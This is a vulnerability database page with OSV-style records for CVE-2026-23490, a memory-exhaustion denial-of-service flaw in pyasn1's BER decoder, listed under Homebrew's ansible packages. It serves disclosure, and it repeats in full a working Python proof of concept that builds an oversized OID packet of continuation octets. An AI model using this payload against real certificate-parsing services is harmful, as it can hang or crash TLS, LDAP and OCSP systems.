Search

Find a vulnerability

Search criteria

    Related vulnerabilities

    BREW-ANSIBLE-CVE-2026-23490 (GHSA-63VM-454H-VHHQ)

    Vulnerability from osv_homebrew – Published: 2026-08-13 16:35 – Updated: 2026-10-31 18:52 – Source website
    VLAI
    Summary
    pyasn1 has a DoS vulnerability in decoder
    Details

    Summary

    After reviewing pyasn1 v0.6.1 a Denial-of-Service issue has been found that leads to memory exhaustion from malformed RELATIVE-OID with excessive continuation octets.

    Details

    The integer issue can be found in the decoder as reloid += ((subId << 7) + nextSubId,): https://github.com/pyasn1/pyasn1/blob/main/pyasn1/codec/ber/decoder.py#L496

    PoC

    For the DoS:

    import pyasn1.codec.ber.decoder as decoder
    import pyasn1.type.univ as univ
    import sys
    import resource
    
    # Deliberately set memory limit to display PoC
    try:
        resource.setrlimit(resource.RLIMIT_AS, (100*1024*1024, 100*1024*1024))
        print("[*] Memory limit set to 100MB")
    except:
        print("[-] Could not set memory limit")
    
    # Test with different payload sizes to find the DoS threshold
    payload_size_mb = int(sys.argv[1])
    
    print(f"[*] Testing with {payload_size_mb}MB payload...")
    
    payload_size = payload_size_mb * 1024 * 1024
    # Create payload with continuation octets
    # Each 0x81 byte indicates continuation, causing bit shifting in decoder
    payload = b'\x81' * payload_size + b'\x00'
    length = len(payload)
    
    # DER length encoding (supports up to 4GB)
    if length < 128:
        length_bytes = bytes([length])
    elif length < 256:
        length_bytes = b'\x81' + length.to_bytes(1, 'big')
    elif length < 256**2:
        length_bytes = b'\x82' + length.to_bytes(2, 'big')
    elif length < 256**3:
        length_bytes = b'\x83' + length.to_bytes(3, 'big')
    else:
        # 4 bytes can handle up to 4GB
        length_bytes = b'\x84' + length.to_bytes(4, 'big')
    
    # Use OID (0x06) for more aggressive parsing
    malicious_packet = b'\x06' + length_bytes + payload
    
    print(f"[*] Packet size: {len(malicious_packet) / 1024 / 1024:.1f} MB")
    
    try:
        print("[*] Decoding (this may take time or exhaust memory)...")
        result = decoder.decode(malicious_packet, asn1Spec=univ.ObjectIdentifier())
    
        print(f'[+] Decoded successfully')
        print(f'[!] Object size: {sys.getsizeof(result[0])} bytes')
    
        # Try to convert to string
        print('[*] Converting to string...')
        try:
            str_result = str(result[0])
            print(f'[+] String succeeded: {len(str_result)} chars')
            if len(str_result) > 10000:
                print(f'[!] MEMORY EXPLOSION: {len(str_result)} character string!')
        except MemoryError:
            print(f'[-] MemoryError during string conversion!')
        except Exception as e:
            print(f'[-] {type(e).__name__} during string conversion')
    
    except MemoryError:
        print('[-] MemoryError: Out of memory!')
    except Exception as e:
        print(f'[-] Error: {type(e).__name__}: {e}')
    
    
    print("\n[*] Test completed")
    

    Screenshots with the results:

    DoS

    Screenshot_20251219_160840

    Screenshot_20251219_152815

    Leak analysis

    A potential heap leak was investigated but came back clean:

    [*] Creating 1000KB payload...
    [*] Decoding with pyasn1...
    [*] Materializing to string...
    [+] Decoded 2157784 characters
    [+] Binary representation: 896001 bytes
    [+] Dumped to heap_dump.bin
    
    [*] First 64 bytes (hex):
      01020408102040810204081020408102040810204081020408102040810204081020408102040810204081020408102040810204081020408102040810204081
    
    [*] First 64 bytes (ASCII/hex dump):
      0000: 01 02 04 08 10 20 40 81 02 04 08 10 20 40 81 02  ..... @..... @..
      0010: 04 08 10 20 40 81 02 04 08 10 20 40 81 02 04 08  ... @..... @....
      0020: 10 20 40 81 02 04 08 10 20 40 81 02 04 08 10 20  . @..... @..... 
      0030: 40 81 02 04 08 10 20 40 81 02 04 08 10 20 40 81  @..... @..... @.
    
    [*] Digit distribution analysis:
      '0':  10.1%
      '1':   9.9%
      '2':  10.0%
      '3':   9.9%
      '4':   9.9%
      '5':  10.0%
      '6':  10.0%
      '7':  10.0%
      '8':   9.9%
      '9':  10.1%
    

    Scenario

    1. An attacker creates a malicious X.509 certificate.
    2. The application validates certificates.
    3. The application accepts the malicious certificate and tries decoding resulting in the issues mentioned above.

    Impact

    This issue can affect resource consumption and hang systems or stop services. This may affect: - LDAP servers - TLS/SSL endpoints - OCSP responders - etc.

    Recommendation

    Add a limit to the allowed bytes in the decoder.

    References
    https://github.com/pyasn1/pyasn1/security/advisor… WEB
    https://nvd.nist.gov/vuln/detail/CVE-2026-23490 ADVISORY
    https://github.com/pyasn1/pyasn1/commit/be353d755… WEB
    https://github.com/pyasn1/pyasn1/commit/3908f1442… WEB
    https://access.redhat.com/errata/RHSA-2026:4148 WEB
    https://access.redhat.com/errata/RHSA-2026:4147 WEB
    https://access.redhat.com/errata/RHSA-2026:4146 WEB
    https://access.redhat.com/errata/RHSA-2026:4145 WEB
    https://access.redhat.com/errata/RHSA-2026:4144 WEB
    https://access.redhat.com/errata/RHSA-2026:4143 WEB
    https://access.redhat.com/errata/RHSA-2026:4142 WEB
    https://access.redhat.com/errata/RHSA-2026:4141 WEB
    https://access.redhat.com/errata/RHSA-2026:4140 WEB
    https://access.redhat.com/errata/RHSA-2026:4139 WEB
    https://access.redhat.com/errata/RHSA-2026:4138 WEB
    https://access.redhat.com/errata/RHSA-2026:39894 WEB
    https://access.redhat.com/errata/RHSA-2026:3959 WEB
    https://access.redhat.com/errata/RHSA-2026:3958 WEB
    https://access.redhat.com/errata/RHSA-2026:2302 WEB
    https://access.redhat.com/errata/RHSA-2026:41928 WEB
    https://access.redhat.com/errata/RHSA-2026:42644 WEB
    https://access.redhat.com/errata/RHSA-2026:4943 WEB
    https://access.redhat.com/errata/RHSA-2026:54757 WEB
    https://access.redhat.com/errata/RHSA-2026:5606 WEB
    https://access.redhat.com/security/cve/CVE-2026-23490 WEB
    https://bugzilla.redhat.com/show_bug.cgi?id=2430472 WEB
    https://github.com/advisories/GHSA-63vm-454h-vhhq ADVISORY
    https://github.com/pyasn1/pyasn1 PACKAGE
    https://github.com/pyasn1/pyasn1/blob/0f07d7242a7… WEB
    https://github.com/pyasn1/pyasn1/releases/tag/v0.6.2 WEB
    https://github.com/pypa/advisory-database/tree/ma… WEB
    https://lists.debian.org/debian-lts-announce/2026… WEB
    https://pypi.org/project/pyasn1 WEB
    https://security.access.redhat.com/data/csaf/v2/v… WEB
    https://access.redhat.com/errata/RHSA-2026:2300 WEB
    https://access.redhat.com/errata/RHSA-2026:2299 WEB
    https://access.redhat.com/errata/RHSA-2026:2221 WEB
    https://access.redhat.com/errata/RHSA-2026:19712 WEB
    https://access.redhat.com/errata/RHSA-2026:1906 WEB
    https://access.redhat.com/errata/RHSA-2026:1905 WEB
    https://access.redhat.com/errata/RHSA-2026:1904 WEB
    https://access.redhat.com/errata/RHSA-2026:1903 WEB
    https://access.redhat.com/errata/RHSA-2026:17611 WEB
    https://access.redhat.com/errata/RHSA-2026:17595 WEB
    https://access.redhat.com/errata/RHSA-2026:17446 WEB
    https://access.redhat.com/errata/RHSA-2026:14020 WEB
    https://access.redhat.com/errata/RHSA-2026:13553 WEB
    https://access.redhat.com/errata/RHSA-2026:13545 WEB
    https://access.redhat.com/errata/RHSA-2026:13512 WEB
    https://access.redhat.com/errata/RHSA-2026:13508 WEB
    https://access.redhat.com/errata/RHSA-2026:37275 WEB
    https://access.redhat.com/errata/RHSA-2026:3359 WEB
    https://access.redhat.com/errata/RHSA-2026:3354 WEB
    https://access.redhat.com/errata/RHSA-2026:30088 WEB
    https://access.redhat.com/errata/RHSA-2026:28042 WEB
    https://access.redhat.com/errata/RHSA-2026:2758 WEB
    https://access.redhat.com/errata/RHSA-2026:2712 WEB
    https://access.redhat.com/errata/RHSA-2026:24977 WEB
    https://access.redhat.com/errata/RHSA-2026:24866 WEB
    https://access.redhat.com/errata/RHSA-2026:2486 WEB
    https://access.redhat.com/errata/RHSA-2026:2483 WEB
    https://access.redhat.com/errata/RHSA-2026:2460 WEB
    https://access.redhat.com/errata/RHSA-2026:2453 WEB
    https://access.redhat.com/errata/RHSA-2026:24483 WEB
    https://access.redhat.com/errata/RHSA-2026:24476 WEB
    https://access.redhat.com/errata/RHSA-2026:2309 WEB
    https://access.redhat.com/errata/RHSA-2026:2303 WEB

    {
      "affected": [
        {
          "ecosystem_specific": {
            "fix": "bump",
            "range_state": "fixed",
            "resource": "pyasn1",
            "resource_purl": "pkg:pypi/pyasn1@0.6.5",
            "upstream_fixed_in": "0.6.2"
          },
          "package": {
            "ecosystem": "Homebrew",
            "name": "ansible",
            "purl": "pkg:brew/ansible"
          },
          "ranges": [
            {
              "events": [
                {
                  "introduced": "10.4.0_1"
                },
                {
                  "fixed": "13.2.0_3"
                }
              ],
              "type": "ECOSYSTEM"
            }
          ]
        }
      ],
      "database_specific": {
        "confidence": "high",
        "source": "matched",
        "strategy": "registry",
        "upstream_evidence": [
          {
            "ecosystem": "PyPI",
            "key": "pkg:pypi/pyasn1@0.6.5",
            "name": "pyasn1",
            "resource": "pyasn1",
            "strategy": "registry",
            "subject_version": "0.6.5"
          }
        ]
      },
      "details": "### Summary\n\nAfter reviewing pyasn1 v0.6.1 a Denial-of-Service issue has been found that leads to memory exhaustion from malformed RELATIVE-OID with excessive continuation octets.\n\n### Details\n\nThe integer issue can be found in the decoder as `reloid += ((subId \u003c\u003c 7) + nextSubId,)`: https://github.com/pyasn1/pyasn1/blob/main/pyasn1/codec/ber/decoder.py#L496\n\n### PoC\n\nFor the DoS:\n```py\nimport pyasn1.codec.ber.decoder as decoder\nimport pyasn1.type.univ as univ\nimport sys\nimport resource\n\n# Deliberately set memory limit to display PoC\ntry:\n    resource.setrlimit(resource.RLIMIT_AS, (100*1024*1024, 100*1024*1024))\n    print(\"[*] Memory limit set to 100MB\")\nexcept:\n    print(\"[-] Could not set memory limit\")\n\n# Test with different payload sizes to find the DoS threshold\npayload_size_mb = int(sys.argv[1])\n\nprint(f\"[*] Testing with {payload_size_mb}MB payload...\")\n\npayload_size = payload_size_mb * 1024 * 1024\n# Create payload with continuation octets\n# Each 0x81 byte indicates continuation, causing bit shifting in decoder\npayload = b\u0027\\x81\u0027 * payload_size + b\u0027\\x00\u0027\nlength = len(payload)\n\n# DER length encoding (supports up to 4GB)\nif length \u003c 128:\n    length_bytes = bytes([length])\nelif length \u003c 256:\n    length_bytes = b\u0027\\x81\u0027 + length.to_bytes(1, \u0027big\u0027)\nelif length \u003c 256**2:\n    length_bytes = b\u0027\\x82\u0027 + length.to_bytes(2, \u0027big\u0027)\nelif length \u003c 256**3:\n    length_bytes = b\u0027\\x83\u0027 + length.to_bytes(3, \u0027big\u0027)\nelse:\n    # 4 bytes can handle up to 4GB\n    length_bytes = b\u0027\\x84\u0027 + length.to_bytes(4, \u0027big\u0027)\n\n# Use OID (0x06) for more aggressive parsing\nmalicious_packet = b\u0027\\x06\u0027 + length_bytes + payload\n\nprint(f\"[*] Packet size: {len(malicious_packet) / 1024 / 1024:.1f} MB\")\n\ntry:\n    print(\"[*] Decoding (this may take time or exhaust memory)...\")\n    result = decoder.decode(malicious_packet, asn1Spec=univ.ObjectIdentifier())\n\n    print(f\u0027[+] Decoded successfully\u0027)\n    print(f\u0027[!] Object size: {sys.getsizeof(result[0])} bytes\u0027)\n\n    # Try to convert to string\n    print(\u0027[*] Converting to string...\u0027)\n    try:\n        str_result = str(result[0])\n        print(f\u0027[+] String succeeded: {len(str_result)} chars\u0027)\n        if len(str_result) \u003e 10000:\n            print(f\u0027[!] MEMORY EXPLOSION: {len(str_result)} character string!\u0027)\n    except MemoryError:\n        print(f\u0027[-] MemoryError during string conversion!\u0027)\n    except Exception as e:\n        print(f\u0027[-] {type(e).__name__} during string conversion\u0027)\n\nexcept MemoryError:\n    print(\u0027[-] MemoryError: Out of memory!\u0027)\nexcept Exception as e:\n    print(f\u0027[-] Error: {type(e).__name__}: {e}\u0027)\n\n\nprint(\"\\n[*] Test completed\")\n```\n\n\nScreenshots with the results:\n\n#### DoS\n\u003cimg width=\"944\" height=\"207\" alt=\"Screenshot_20251219_160840\" src=\"https://github.com/user-attachments/assets/68b9566b-5ee1-47b0-a269-605b037dfc4f\" /\u003e\n\n\u003cimg width=\"931\" height=\"231\" alt=\"Screenshot_20251219_152815\" src=\"https://github.com/user-attachments/assets/62eacf4f-eb31-4fba-b7a8-e8151484a9fa\" /\u003e\n\n#### Leak analysis\n\nA potential heap leak was investigated but came back clean:\n```\n[*] Creating 1000KB payload...\n[*] Decoding with pyasn1...\n[*] Materializing to string...\n[+] Decoded 2157784 characters\n[+] Binary representation: 896001 bytes\n[+] Dumped to heap_dump.bin\n\n[*] First 64 bytes (hex):\n  01020408102040810204081020408102040810204081020408102040810204081020408102040810204081020408102040810204081020408102040810204081\n\n[*] First 64 bytes (ASCII/hex dump):\n  0000: 01 02 04 08 10 20 40 81 02 04 08 10 20 40 81 02  ..... @..... @..\n  0010: 04 08 10 20 40 81 02 04 08 10 20 40 81 02 04 08  ... @..... @....\n  0020: 10 20 40 81 02 04 08 10 20 40 81 02 04 08 10 20  . @..... @..... \n  0030: 40 81 02 04 08 10 20 40 81 02 04 08 10 20 40 81  @..... @..... @.\n\n[*] Digit distribution analysis:\n  \u00270\u0027:  10.1%\n  \u00271\u0027:   9.9%\n  \u00272\u0027:  10.0%\n  \u00273\u0027:   9.9%\n  \u00274\u0027:   9.9%\n  \u00275\u0027:  10.0%\n  \u00276\u0027:  10.0%\n  \u00277\u0027:  10.0%\n  \u00278\u0027:   9.9%\n  \u00279\u0027:  10.1%\n```\n\n### Scenario\n\n1. An attacker creates a malicious X.509 certificate.\n2. The application validates certificates.\n3. The application accepts the malicious certificate and tries decoding resulting in the issues mentioned above.\n\n### Impact\n\nThis issue can affect resource consumption and hang systems or stop services.\nThis may affect:\n- LDAP servers\n- TLS/SSL endpoints\n- OCSP responders\n- etc.\n\n### Recommendation\n\nAdd a limit to the allowed bytes in the decoder.",
      "id": "BREW-ansible-CVE-2026-23490",
      "modified": "2026-10-31T18:52:28Z",
      "published": "2026-08-13T16:35:22Z",
      "references": [
        {
          "type": "WEB",
          "url": "https://github.com/pyasn1/pyasn1/security/advisories/GHSA-63vm-454h-vhhq"
        },
        {
          "type": "ADVISORY",
          "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-23490"
        },
        {
          "type": "WEB",
          "url": "https://github.com/pyasn1/pyasn1/commit/be353d755f42ea36539b4f5053c652ddf56979a6"
        },
        {
          "type": "WEB",
          "url": "https://github.com/pyasn1/pyasn1/commit/3908f144229eed4df24bd569d16e5991ace44970"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:4148"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:4147"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:4146"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:4145"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:4144"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:4143"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:4142"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:4141"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:4140"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:4139"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:4138"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:39894"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:3959"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:3958"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:2302"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:41928"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:42644"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:4943"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:54757"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:5606"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/security/cve/CVE-2026-23490"
        },
        {
          "type": "WEB",
          "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2430472"
        },
        {
          "type": "ADVISORY",
          "url": "https://github.com/advisories/GHSA-63vm-454h-vhhq"
        },
        {
          "type": "PACKAGE",
          "url": "https://github.com/pyasn1/pyasn1"
        },
        {
          "type": "WEB",
          "url": "https://github.com/pyasn1/pyasn1/blob/0f07d7242a78ab4d129b26256d7474f7168cf536/pyasn1/codec/ber/decoder.py#L496"
        },
        {
          "type": "WEB",
          "url": "https://github.com/pyasn1/pyasn1/releases/tag/v0.6.2"
        },
        {
          "type": "WEB",
          "url": "https://github.com/pypa/advisory-database/tree/main/vulns/pyasn1/PYSEC-2026-1810.yaml"
        },
        {
          "type": "WEB",
          "url": "https://lists.debian.org/debian-lts-announce/2026/02/msg00002.html"
        },
        {
          "type": "WEB",
          "url": "https://pypi.org/project/pyasn1"
        },
        {
          "type": "WEB",
          "url": "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-23490.json"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:2300"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:2299"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:2221"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:19712"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:1906"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:1905"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:1904"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:1903"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:17611"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:17595"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:17446"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:14020"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:13553"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:13545"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:13512"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:13508"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:37275"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:3359"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:3354"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:30088"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:28042"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:2758"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:2712"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:24977"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:24866"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:2486"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:2483"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:2460"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:2453"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:24483"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:24476"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:2309"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:2303"
        }
      ],
      "schema_version": "1.7.3",
      "severity": [
        {
          "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
          "type": "CVSS_V3"
        }
      ],
      "summary": "pyasn1 has a DoS vulnerability in decoder",
      "upstream": [
        "GHSA-63vm-454h-vhhq",
        "CVE-2026-23490",
        "PYSEC-2026-1810"
      ]
    }

    BREW-ANSIBLE@10-CVE-2026-23490 (GHSA-63VM-454H-VHHQ)

    Vulnerability from osv_homebrew – Published: 2026-08-13 16:35 – Updated: 2026-10-08 00:10 – Source website
    VLAI
    Summary
    pyasn1 has a DoS vulnerability in decoder
    Details

    Summary

    After reviewing pyasn1 v0.6.1 a Denial-of-Service issue has been found that leads to memory exhaustion from malformed RELATIVE-OID with excessive continuation octets.

    Details

    The integer issue can be found in the decoder as reloid += ((subId << 7) + nextSubId,): https://github.com/pyasn1/pyasn1/blob/main/pyasn1/codec/ber/decoder.py#L496

    PoC

    For the DoS:

    import pyasn1.codec.ber.decoder as decoder
    import pyasn1.type.univ as univ
    import sys
    import resource
    
    # Deliberately set memory limit to display PoC
    try:
        resource.setrlimit(resource.RLIMIT_AS, (100*1024*1024, 100*1024*1024))
        print("[*] Memory limit set to 100MB")
    except:
        print("[-] Could not set memory limit")
    
    # Test with different payload sizes to find the DoS threshold
    payload_size_mb = int(sys.argv[1])
    
    print(f"[*] Testing with {payload_size_mb}MB payload...")
    
    payload_size = payload_size_mb * 1024 * 1024
    # Create payload with continuation octets
    # Each 0x81 byte indicates continuation, causing bit shifting in decoder
    payload = b'\x81' * payload_size + b'\x00'
    length = len(payload)
    
    # DER length encoding (supports up to 4GB)
    if length < 128:
        length_bytes = bytes([length])
    elif length < 256:
        length_bytes = b'\x81' + length.to_bytes(1, 'big')
    elif length < 256**2:
        length_bytes = b'\x82' + length.to_bytes(2, 'big')
    elif length < 256**3:
        length_bytes = b'\x83' + length.to_bytes(3, 'big')
    else:
        # 4 bytes can handle up to 4GB
        length_bytes = b'\x84' + length.to_bytes(4, 'big')
    
    # Use OID (0x06) for more aggressive parsing
    malicious_packet = b'\x06' + length_bytes + payload
    
    print(f"[*] Packet size: {len(malicious_packet) / 1024 / 1024:.1f} MB")
    
    try:
        print("[*] Decoding (this may take time or exhaust memory)...")
        result = decoder.decode(malicious_packet, asn1Spec=univ.ObjectIdentifier())
    
        print(f'[+] Decoded successfully')
        print(f'[!] Object size: {sys.getsizeof(result[0])} bytes')
    
        # Try to convert to string
        print('[*] Converting to string...')
        try:
            str_result = str(result[0])
            print(f'[+] String succeeded: {len(str_result)} chars')
            if len(str_result) > 10000:
                print(f'[!] MEMORY EXPLOSION: {len(str_result)} character string!')
        except MemoryError:
            print(f'[-] MemoryError during string conversion!')
        except Exception as e:
            print(f'[-] {type(e).__name__} during string conversion')
    
    except MemoryError:
        print('[-] MemoryError: Out of memory!')
    except Exception as e:
        print(f'[-] Error: {type(e).__name__}: {e}')
    
    
    print("\n[*] Test completed")
    

    Screenshots with the results:

    DoS

    Screenshot_20251219_160840

    Screenshot_20251219_152815

    Leak analysis

    A potential heap leak was investigated but came back clean:

    [*] Creating 1000KB payload...
    [*] Decoding with pyasn1...
    [*] Materializing to string...
    [+] Decoded 2157784 characters
    [+] Binary representation: 896001 bytes
    [+] Dumped to heap_dump.bin
    
    [*] First 64 bytes (hex):
      01020408102040810204081020408102040810204081020408102040810204081020408102040810204081020408102040810204081020408102040810204081
    
    [*] First 64 bytes (ASCII/hex dump):
      0000: 01 02 04 08 10 20 40 81 02 04 08 10 20 40 81 02  ..... @..... @..
      0010: 04 08 10 20 40 81 02 04 08 10 20 40 81 02 04 08  ... @..... @....
      0020: 10 20 40 81 02 04 08 10 20 40 81 02 04 08 10 20  . @..... @..... 
      0030: 40 81 02 04 08 10 20 40 81 02 04 08 10 20 40 81  @..... @..... @.
    
    [*] Digit distribution analysis:
      '0':  10.1%
      '1':   9.9%
      '2':  10.0%
      '3':   9.9%
      '4':   9.9%
      '5':  10.0%
      '6':  10.0%
      '7':  10.0%
      '8':   9.9%
      '9':  10.1%
    

    Scenario

    1. An attacker creates a malicious X.509 certificate.
    2. The application validates certificates.
    3. The application accepts the malicious certificate and tries decoding resulting in the issues mentioned above.

    Impact

    This issue can affect resource consumption and hang systems or stop services. This may affect: - LDAP servers - TLS/SSL endpoints - OCSP responders - etc.

    Recommendation

    Add a limit to the allowed bytes in the decoder.

    References
    https://github.com/pyasn1/pyasn1/security/advisor… WEB
    https://nvd.nist.gov/vuln/detail/CVE-2026-23490 ADVISORY
    https://github.com/pyasn1/pyasn1/commit/be353d755… WEB
    https://github.com/pyasn1/pyasn1/commit/3908f1442… WEB
    https://access.redhat.com/errata/RHSA-2026:4148 WEB
    https://access.redhat.com/errata/RHSA-2026:4147 WEB
    https://access.redhat.com/errata/RHSA-2026:4146 WEB
    https://access.redhat.com/errata/RHSA-2026:4145 WEB
    https://access.redhat.com/errata/RHSA-2026:4144 WEB
    https://access.redhat.com/errata/RHSA-2026:4143 WEB
    https://access.redhat.com/errata/RHSA-2026:4142 WEB
    https://access.redhat.com/errata/RHSA-2026:4141 WEB
    https://access.redhat.com/errata/RHSA-2026:4140 WEB
    https://access.redhat.com/errata/RHSA-2026:4139 WEB
    https://access.redhat.com/errata/RHSA-2026:4138 WEB
    https://access.redhat.com/errata/RHSA-2026:39894 WEB
    https://access.redhat.com/errata/RHSA-2026:3959 WEB
    https://access.redhat.com/errata/RHSA-2026:3958 WEB
    https://access.redhat.com/errata/RHSA-2026:2302 WEB
    https://access.redhat.com/errata/RHSA-2026:41928 WEB
    https://access.redhat.com/errata/RHSA-2026:42644 WEB
    https://access.redhat.com/errata/RHSA-2026:4943 WEB
    https://access.redhat.com/errata/RHSA-2026:54757 WEB
    https://access.redhat.com/errata/RHSA-2026:5606 WEB
    https://access.redhat.com/security/cve/CVE-2026-23490 WEB
    https://bugzilla.redhat.com/show_bug.cgi?id=2430472 WEB
    https://github.com/advisories/GHSA-63vm-454h-vhhq ADVISORY
    https://github.com/pyasn1/pyasn1 PACKAGE
    https://github.com/pyasn1/pyasn1/blob/0f07d7242a7… WEB
    https://github.com/pyasn1/pyasn1/releases/tag/v0.6.2 WEB
    https://github.com/pypa/advisory-database/tree/ma… WEB
    https://lists.debian.org/debian-lts-announce/2026… WEB
    https://pypi.org/project/pyasn1 WEB
    https://security.access.redhat.com/data/csaf/v2/v… WEB
    https://access.redhat.com/errata/RHSA-2026:2300 WEB
    https://access.redhat.com/errata/RHSA-2026:2299 WEB
    https://access.redhat.com/errata/RHSA-2026:2221 WEB
    https://access.redhat.com/errata/RHSA-2026:19712 WEB
    https://access.redhat.com/errata/RHSA-2026:1906 WEB
    https://access.redhat.com/errata/RHSA-2026:1905 WEB
    https://access.redhat.com/errata/RHSA-2026:1904 WEB
    https://access.redhat.com/errata/RHSA-2026:1903 WEB
    https://access.redhat.com/errata/RHSA-2026:17611 WEB
    https://access.redhat.com/errata/RHSA-2026:17595 WEB
    https://access.redhat.com/errata/RHSA-2026:17446 WEB
    https://access.redhat.com/errata/RHSA-2026:14020 WEB
    https://access.redhat.com/errata/RHSA-2026:13553 WEB
    https://access.redhat.com/errata/RHSA-2026:13545 WEB
    https://access.redhat.com/errata/RHSA-2026:13512 WEB
    https://access.redhat.com/errata/RHSA-2026:13508 WEB
    https://access.redhat.com/errata/RHSA-2026:37275 WEB
    https://access.redhat.com/errata/RHSA-2026:3359 WEB
    https://access.redhat.com/errata/RHSA-2026:3354 WEB
    https://access.redhat.com/errata/RHSA-2026:30088 WEB
    https://access.redhat.com/errata/RHSA-2026:28042 WEB
    https://access.redhat.com/errata/RHSA-2026:2758 WEB
    https://access.redhat.com/errata/RHSA-2026:2712 WEB
    https://access.redhat.com/errata/RHSA-2026:24977 WEB
    https://access.redhat.com/errata/RHSA-2026:24866 WEB
    https://access.redhat.com/errata/RHSA-2026:2486 WEB
    https://access.redhat.com/errata/RHSA-2026:2483 WEB
    https://access.redhat.com/errata/RHSA-2026:2460 WEB
    https://access.redhat.com/errata/RHSA-2026:2453 WEB
    https://access.redhat.com/errata/RHSA-2026:24483 WEB
    https://access.redhat.com/errata/RHSA-2026:24476 WEB
    https://access.redhat.com/errata/RHSA-2026:2309 WEB
    https://access.redhat.com/errata/RHSA-2026:2303 WEB

    {
      "affected": [
        {
          "ecosystem_specific": {
            "fix": null,
            "range_state": "affected",
            "resource": "pyasn1",
            "resource_purl": "pkg:pypi/pyasn1@0.6.1",
            "upstream_fixed_in": "0.6.2"
          },
          "package": {
            "ecosystem": "Homebrew",
            "name": "ansible@10",
            "purl": "pkg:brew/ansible%4010"
          },
          "ranges": [
            {
              "events": [
                {
                  "introduced": "10.6.0"
                }
              ],
              "type": "ECOSYSTEM"
            }
          ]
        }
      ],
      "database_specific": {
        "confidence": "high",
        "source": "matched",
        "strategy": "registry",
        "upstream_evidence": [
          {
            "ecosystem": "PyPI",
            "key": "pkg:pypi/pyasn1@0.6.1",
            "name": "pyasn1",
            "resource": "pyasn1",
            "strategy": "registry",
            "subject_version": "0.6.1"
          }
        ]
      },
